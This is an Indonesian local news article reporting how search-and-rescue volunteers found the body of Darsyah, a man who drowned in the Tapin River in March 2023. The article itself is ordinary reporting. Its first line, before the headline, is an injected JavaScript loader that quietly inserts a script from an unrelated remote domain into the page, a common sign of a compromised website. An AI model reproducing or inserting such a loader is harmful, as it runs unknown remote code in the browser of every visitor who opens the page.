(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Usai Dilaporkan Tenggelam, Jasad Darsyah Ditemukan Mengapung di Sungai Tapin

KANALKALIMANTAN.COM, BANJARMASIN – Relawan SAR akhirnya berhasil menemukan korban tenggelam di Sungai Tapin, tepatnya di Desa Bungur Baru, Kecamatan Bungur, Kabupaten Tapin, yang dilaporkan tak kembali sejak Sabtu (18/3/2023) sore lalu.

Kemudian pada Minggu (19/3/2023) sekitar pukul 11.58 Wita, Darsyah (55) lelaki asal Desa Bungur Baru itu ditemukan dalam keadaan sudah tidak bernyawa lagi. Jasadnya ditemukan mengapung pada jarak sekitar 200 meter dari lokasi kejadian.

“Benar, korban ditemukan sudah dalam kondisi meninggal, posisinya mengapung di sungai sekitar 200 meter dari titik nol korban hilang,” ungkap Kepala Kantor Basarnas Banjarmasin, Al Amrad, kepada media Minggu (19/3/2023) siang.

Sementara itu Kordinator Lapangan, Duwi Agustono mengatakan, saat ini jasad korban telah dievakuasi dan diserahkan kepada keluarga di rumah dukanya.

Sebelumnya dalam upaya pencarian korban dilakukan selama dua hari. Tim SAR gabungan telah mengerahkan dua SRU air untuk menyisir aliran sungai Tapin kurang lebih 2 KM kearah hilir dari titik LKP dengan menggunakan perahu karet.

SRU air pertama, melakukan pencarian dari lokasi kejadian dilanjutkan menuju ke titik A di koordinat 2° 57′ 37.37″ S 115° 9′ 2.23″ E. SRU air 2 melanjutkan pencarian menuju ke titik B di koordinat 2° 58′ 1.76″ S 115° 9′ 13.11″ E.

Tim SAR gabungan juga mengerahkan personel untuk melakukan pengamatan di darat dan menyebarluaskan informasi kejadian hanyutnya korban kepada warga sekitar.

“Penyebarluasan informasi ini diharapkan dapat mengoptimalkan upaya pencarian korban. Jika ada warga yang melihat korban, maka diharapkan untuk melaporkannya kepada petuga SAR gabungan,” kata Agus.

Proses pencarian ini tentu terjalin atas sinergitas yang solid dari relawan SAR gabungan, seperti Basarnas, Polsek, Koramil, BPBD, Damkar, Tagana, Tim Rescue Tapin (TRT), BPK Raha, BPK HSS, Baling-Baling Rescue, Al Husna, PMI, serta warga dan keluarga korban.

“Akhirnya korban dapat kita temukan pada hari kedua ini, saya ucapkan terimakasih banyak kepada seluruh unsur SAR yang terlibat dan semoga kita selalu kompak dan solid untuk kemanusiaan,” tutup Al Amrad Kepala Kantor Pencarian dan Pertolongan (Basarnas) Banjarmasin.

Diberitakan sebelumnya, korban Darsyah dilaporkan tenggelam usai terlihat terakhir kalinya berjalan menuju sungai, namun didapati dirinya tak kunjung kembali.

Saat diperiksa oleh saksi, di lokasi kejadian pun hanya terdapat sepasang sandal jepit milik korban. Hingga akhirnya kejadian ini turut dilaporkan kepada petugas siaga komunikasi Basarnas Banjarmasin pada Sabtu Malam.(kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell